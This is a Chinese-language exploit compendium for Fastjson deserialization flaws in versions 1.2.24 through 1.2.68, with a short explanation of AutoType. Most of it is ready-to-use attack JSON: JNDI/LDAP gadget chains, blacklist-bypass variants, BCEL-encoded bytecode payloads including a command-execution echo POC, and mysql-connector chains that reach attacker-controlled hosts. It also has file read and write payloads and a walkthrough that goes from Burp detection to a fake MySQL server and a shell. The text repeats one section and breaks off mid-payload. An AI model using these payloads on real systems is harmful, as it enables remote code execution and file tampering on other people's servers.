前言
fastjson<=1.2.24
com.sun.rowset.JdbcRowSetImpl利用链
c3p0#JndiRefForwardingDataSource
shiro#JndiObjectFactory
shiro#JndiRealmFactory
BCEL利用
1.2.33<=fastjson<=1.2.36
1.2.25<=fastjson<=1.2.41
fastjson=1.2.42
fastjson=1.2.43
fastjson<=1.2.45
fastjson<=1.2.47
fastjson<= 1.2.62漏洞
fastjson<=1.2.66漏洞
fastjson = 1.2.68
mysql-connector-java 5.1.X利用链
mysql-connector-java 6.0.2-6.0.3 利用链
mysql-connector-java 8.0.19利用链
文件读取
写入文件
fastjson=1.2.24
1.2.33<=fastjson<=1.2.36
1.2.36<=fastjson<=1.2.47
c3p0#WrapperConnectionPoolDataSource
Fastjson基础
新建一个Fastjson项目，写入一个javaBean。idea中右键Generate自行创建Getter and Setter和有参无参方法。
Fjson.java，调用了解Fastjson基础使用
package com.ni.fastjsonstudy.demos.web.bean;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
class Store {
private String name;
private Fruit fruit;
private Apple apple;
}
interface Fruit {
}
class Apple implements Fruit {
private int price;
}
public class AboutAutoType {
public static void main(String[] args) {
Store store = new Store();
store.setName("store");
Apple apple = new Apple();
apple.setPrice(10);
store.setFruit(apple);
String s = JSON.toJSONString(store);
System.out.println("toJSONString: "+s);
String s2 = JSON.toJSONString(store, SerializerFeature.WriteClassName);
System.out.println("toJSONString（sw）: "+s2);
}
}
序列化过程中，JSON.toJSONString()是否添加第二个SerializerFeature.WriteClassName，将对应决定字符中是否携带@type:class.name。当添加后，输出的序列化值将携带，值如下：
String s2 = JSON.toJSONString(store, SerializerFeature.WriteClassName);
System.out.println("toJSONString（sw）: "+s2);
//{"@type":"com.ni.fastjsonstudy.demos.web.bean.Store","fruit":{"@type":"com.ni.fastjsonstudy.demos.web.bean.Apple","price":10},"name":"store"}
反序列化过程中，JSON.parse会输出对象类名。使用JSON.parseObject则是获取到的JSONobject类，仅在携参数Object.class时，输出的仍为User类名。因此从格式输出上JSON.parse类似于JSON.parseObject(,Object.class)。
//jsonString={"@type":"com.ni.fastjsonstudy.demos.web.bean.Store","fruit":{"@type":"com.ni.fastjsonstudy.demos.web.bean.Apple","price":10},"name":"store"}
JSONObject newStore1 = JSON.parseObject(jsonString);
System.out.println("parseObject: " + newStore1);
System.out.println(newStore1.getClass().getName());
//parseObject: {"fruit":{"price":10},"name":"store"}
//com.alibaba.fastjson.JSONObject
Store newStore2 = JSON.parseObject(jsonString={"@type":"com.ni.fastjsonstudy.demos.web.bean.Store","fruit":{"@type":"com.ni.fastjsonstudy.demos.web.bean.Apple","price":10},"name":"store"}, Store.class);
System.out.println("parseObject(,Store.class) : " + newStore2);
System.out.println(newStore2.getClass().getName());
//parseObject(,Store.class) : Store{name='store', fruit=Apple{price=10}, apple=null}
//com.ni.fastjsonstudy.demos.web.bean.Store
//s={"fruit":{"price":10},"name":"store"}
Object newStore3 = JSON.parse(s);
System.out.println("parse: " + newStore3);
System.out.println(newStore3.getClass().getName());
//parse: {"fruit":{"price":10},"name":"store"}
//com.alibaba.fastjson.JSONObject
//{"fruit":{"price":10},"name":"store"}
Object newStore4 = JSON.parseObject(s,Store.class);
System.out.println("parse: " + newStore4);
System.out.println(newStore4.getClass().getName());
//parse: Store{name='store', fruit={}, apple=null}
//com.ni.fastjsonstudy.demos.web.bean.Store
fastjson关于安全上的疑问，很大一部分原因在于AutoType。@type存在于字符串的意义就是当一个类包含一个接口（或是抽象类时），序列化过程中会抹去这个子类的详细内容，只保留接口（抽象类）的类型，使得反序列化时无法获取原始类型。如上例子中就能很好的发现这个问题。
因此有了autotype的功能，fastjson反序列化过程中会将@type的值反序列化为一个对象，并且会调用该类的setter方法。如果@type的值为攻击者指定的恶意类库，则能实现反序列化攻击。
下面罗列下fastjson每个版本漏洞，并简要分析
PS:
LADP利用JDK版本≤ 6u211 、7u201、8u191 RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
fastjson<=1.2.24
com.sun.rowset.JdbcRowSetImpl利用链
Payload
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
复现步骤：
利用工具起一个LDAP端口，工具原理是从ip端口下的1389中访问获取到恶意类，进一步触发反序列化攻击。
环境为idea下的tomcat，故选择工具中匹配环境的payload放入关键点。
c3p0#JndiRefForwardingDataSource
利用条件
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
Payload
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "rmi://127.0.0.1:1099/badClassName",
"loginTimeout": 0
}
shiro#JndiObjectFactory
利用条件
有shiro就能打
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.11.0</version>
</dependency>
Payload
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "rmi://127.0.0.1:9050/exploit"
}
shiro#JndiRealmFactory
todo
{
"@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",
"jndiNames": "rmi://127.0.0.1:9050/exploit"
}
BCEL利用
可用于解决不出网限制
利用条件
fastjson 1.2.24 tomcat7使用的类是 org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
Payloads
1、自定义poc
编写恶意java代码
package com.ni.fastjsonstudy.demos.web;
import java.io.IOException;
public class Bcel {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
转换为字节码并编码为bcel字节码
public static void main(String[] args) throws IOException {
JavaClass cls = Repository.lookupClass(Bcel.class);
System.out.println(cls.getBytes());
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
System.out.println(code);
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
上文代码中poc如下：
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b1$e3$3a$N$84$86$96$7eB$81$S8$b0$Xn$m$O$ad$8aT$d5$z$a8A$f4$bc$d9l$c3$a6$8e7$b27$U$7e$Rg$$$808$f0$D$f8Q$88$f1$96R$qz$a8W$9e$d9$f9xo$de$d8W$d7$X$97$A$d6$f0$$D$80$a7$n$9ea$s$c0$f3$c2$bf$f0$f12D$F$af$7c$bc$f6$f1$86$a1$ba$a1Sm7$Z$ca$ed$e5$3d$G$ef$83$e9$v$86F$acS$f5u$3c$ec$aalWt$T$ca4c$pE$b2$t2$5d$c4$b7I$cf$ee$eb$9ca1$96f$c8S$cd$7f$88$dc$Or$93$e6v$dc$3b$e2$3d549$ff$a5$ba$fc$bdT$c9$3aC$b0$n$93$dbi$8c$d0$adx$m$O$E$d7$86$7f$da$fex$u$d5$c8j$93R$5b$bdc$85$fc$f9E$8c$dc$U$S$cc$Qv$cc8$93jK$XSk$F$ddj$81$8dPC$e8c6$c2$i$de$92$iR$u$p$ccc$81a$ea$l$dc$R$W$R2$cc$ff$87Z$86$JG$90$88$b4$cf$b7$bb$D$r$z$c3$e4$df$d4$b7qj$f5$90$c4$84$7de$ef$82V$7b9$7e$d0C$hy$eaPI$86$a5$f6$bdj$c7f$3a$ed$af$df$H$ecdF$aa$3c$t$40cDE$eb$be$c3n$s$a4$a2$fd$7c$fa$95$c5S$C$x$b6$s$fb$88$oN$9e$91$af$ac$9c$81$9d$b8rD$b6$ea$92$n$ead$a3$df$Nx$8c$G$f9$A$Tw$60$e1$c8$80$e69J$cd$f2$v$bc$ef$c7$I$3e$af$9c$a2z$e2$f25$c2VPv$8c$d3t$D$f1$d5$I$l$RW$9d$d8$s$e9$fc$99P$87GQ$93$a2$vz$7d$94b$lO$3c$w$b4$9c$a8$e9$h$fd$g$91$e0$94$C$A$A"
}
}: "bbb"
}
2、命令执行可回显poc
POST /json HTTP/1.1
cmd:whoami{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
}
}: "x"
}
1.2.33<=fastjson<=1.2.36
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL..."
}
} : "ddd"
}
}
1.2.25<=fastjson<=1.2.41
fastjson默认关闭了autotype支持，并且加入了checkAutotype，加入了黑名单来防御autotype开启的情况。
1.2.25后将TypeUtils.loadClass替换为checkAutoType()函数，增加了黑名单和白名单。autoTypeSupport默认为False，利用条件为True。当开启后，才能触发加载类。
开启了autoTypeSupport，先白名单，再黑名单
未开启autoTypeSupport，依然会进行黑白名单检测，先黑名单，再白名单。
Fastjson为了兼容一些特殊类，会将开头为L、[，末尾为;的类进行去除处理。如Lcom.lang.Thread;也能被匹配到。
故绕过方式一目了然。
复现时需加上ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Payload
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://172.16.7.124:1389/TomcatBypass/Command/calc",
"autoCommit": true
}
}
fastjson=1.2.42
1.2.42中对黑名单类进行了hash计算，通过十进制来比较是否匹配。
同时多了一步，率先判断传入类的首尾字符是否为L、;，是则去除首尾字符进行后进行匹配。
故绕过方式为双写绕过：
{
"rand1": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://172.16.7.124:1389/TomcatBypass/Command/calc",
"autoCommit": true
}
}
fastjson=1.2.43
在1.2.42的基础上多了个if判断。在第一次首位匹配到L、;后，再判断类名首尾前两个字符是否为LL、;;。
此时双写绕过已经失效，可以采用[绕过。
{
"a": {
"@type": "[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName": "ldap://192.168.31.239:1389/TomcatBypass/TomcatEcho",
"autoCommit": true
}
}
fastjson<=1.2.45
简要分析
使用黑名单绕过，org.apache.ibatis.datasource在1.2.46版本中被加入了黑名单
Payload
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://47.99.70.18:9999/Exploit"}}
fastjson<=1.2.47
利用条件
当autoType关闭时可触发，与1.2.25那个区间的触发条件正好相反。
1.2.25-1.2.32版本：未开启AutoTypeSupport时能成功利用，开启AutoTypeSupport不能利用 1.2.33-1.2.47版本：无论是否开启AutoTypeSupport，都能成功利用
简要分析
fastjson中存在全局缓存的机制，当autoType关闭时，会优先从缓冲中获取类。通过java.lang.Class这个非黑名单的类，而其对应的deserializer为MiscCodec，反序列化时会将json中的val值缓存进fastjson（默认fastjson cache为true）。但这还没解释为什么autoType关闭时才能触发。这里稍微看一下CheckAutoType的流程：
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//autoType 开启时判断白名单、黑名单
if (autoTypeSupport || expectClass != null) {
}
...
// 此处的代码调用有已经加载到了java.lang.Class及val对应的恶意类
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} return clazz;
}
// autoType 关闭时判断黑白名单
if (!autoTypeSupport) {
}
...
return clazz;
}
payload将恶意类先于黑白名单检测加载进了fastjson，来绕过安全限制。
Payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
fastjson<= 1.2.62漏洞
黑名单绕过
Payload
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://localhost:43658/Calc"}
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://localhost:43658/Calc"
}
}
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:43658/Calc"
},
"namespace": ""
}
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://localhost:43658/Calc"
}
fastjson<=1.2.66漏洞
利用条件
基于黑名单绕过。autoTypeSupport属性为true才能使用。（fastjson >= 1.2.25默认为false）
Payloads
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://xxxx:xxx/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://xxxx:xxx/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://xxxx:xxx/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":
{"@type":"java.util.Properties","UserTransaction":"ldap://xxxx:xxx/Calc"}}
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:43658/Calc"], "Realms":[""]}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:43658/Calc"}
fastjson = 1.2.68
mysql-connector-java 5.1.X利用链
SSRF
利用条件：mysql-connector-java 5.1.X
{
"a": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "3l7rni.ceye.io", //dns url
"portToConnectTo": 3306,
"info": {
"user": "user",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
}
mysql-connector-java 5.0.2-5.1.5 反序列化
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.jdbc.ReplicationConnection",
"masterProperties":{
"HOST":"127.0.0.1", //mysql ip
"user":"yso_CommonsCollections4_calc", //payload
"password":"pass",
"statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
},
"slaveProperties":{
"HOST":"127.0.0.1", //mysql ip
"user":"yso_CommonsCollections4_calc", //payload
"password":"pass",
"statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDes erialize":"true"
}
}
mysql-connector-java 5.1.11-5.1.48 反序列化
{
"a": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "172.16.7.124", //mysql ip
"portToConnectTo": 3307, //mysql port
"info": {
"user": "cc5",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
}
实战利用
用到工具
bp扫描器扫到fastjson，dnslog请求成功payload如下，为fastjson1.2.68 jdbc链。注：dns探测成功不代表可反序列化利用
{
"x": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "t5jqzh4buvhl3tb.bwu3um.dnslog.cn",
"portToConnectTo": 80,
"info": {
"user": "root",
"password": "ubuntu",
"useSSL": "false",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
},
"databaseToConnectTo": "mysql",
"url": ""
}
}
使用MySQL_Fake_Server生成一个恶意mysql服务，使用方式详见链接。
此处使用的是更改config.json的参数内容来构造payload。
启动
hostToConnectTo填入VPS地址，user填入cc5（不更改config.json的话则为yso_CommonsCollections5_语句,长语句建议用前者配置）。
getshell
mysql-connector-java 6.0.2-6.0.3 利用链
dns探测
{
"a": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://3l7rni.ceye.io:3306/foo?allowLoadLocalInfile=true"
}
}
}
}
反序列化
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://172.16.7.124:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsCollections5_calc" //mysql ip:port user=payload
}
}
}
}
mysql-connector-java 8.0.19利用链
SSRF
{
"a": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "3l7rni.ceye.io"
}
],
"slaves": [],
"properties": {
"host": "3l7rni.ceye.io",
"user": "user",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
}
https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
反序列化
RCE，复现时需要server端需要启用的是默认3306端口，payload中无法定义接口
{"a":{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy":
{
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":
{
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":
[
{
"host": "172.16.7.124" //mysql ip
}
],
"slaves":
[],
"properties":
{
"host": "172.16.7.124", //mysql ip
"user": "cc5", //payload
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}}
文件读取
当bytes的值等于url值文件的首字母时，则读取成功，数组中的字符可以累加。略鸡肋
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [49]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}
写入文件
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""xxxxx(写入字符长度需>8192，写入文件可覆盖可新建)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"D://1.txt", //写入路径
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
利用Tomcat 加载bcel字节码可用来解决不出网问题。
Q&A：不出网如何发现是否存在fastjson漏洞呢？有dns出网和tcp出网，此处的不出网为tcp不出网。
fastjson=1.2.24
利用条件
fastjson 1.2.24 tomcat7使用的类是 org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
Payloads
1、自定义poc
编写恶意java代码
package com.ni.fastjsonstudy.demos.web;
import java.io.IOException;
public class Bcel {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
转换为字节码并编码为bcel字节码
public static void main(String[] args) throws IOException {
JavaClass cls = Repository.lookupClass(Bcel.class);
System.out.println(cls.getBytes());
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
System.out.println(code);
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
上文代码中poc如下：
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
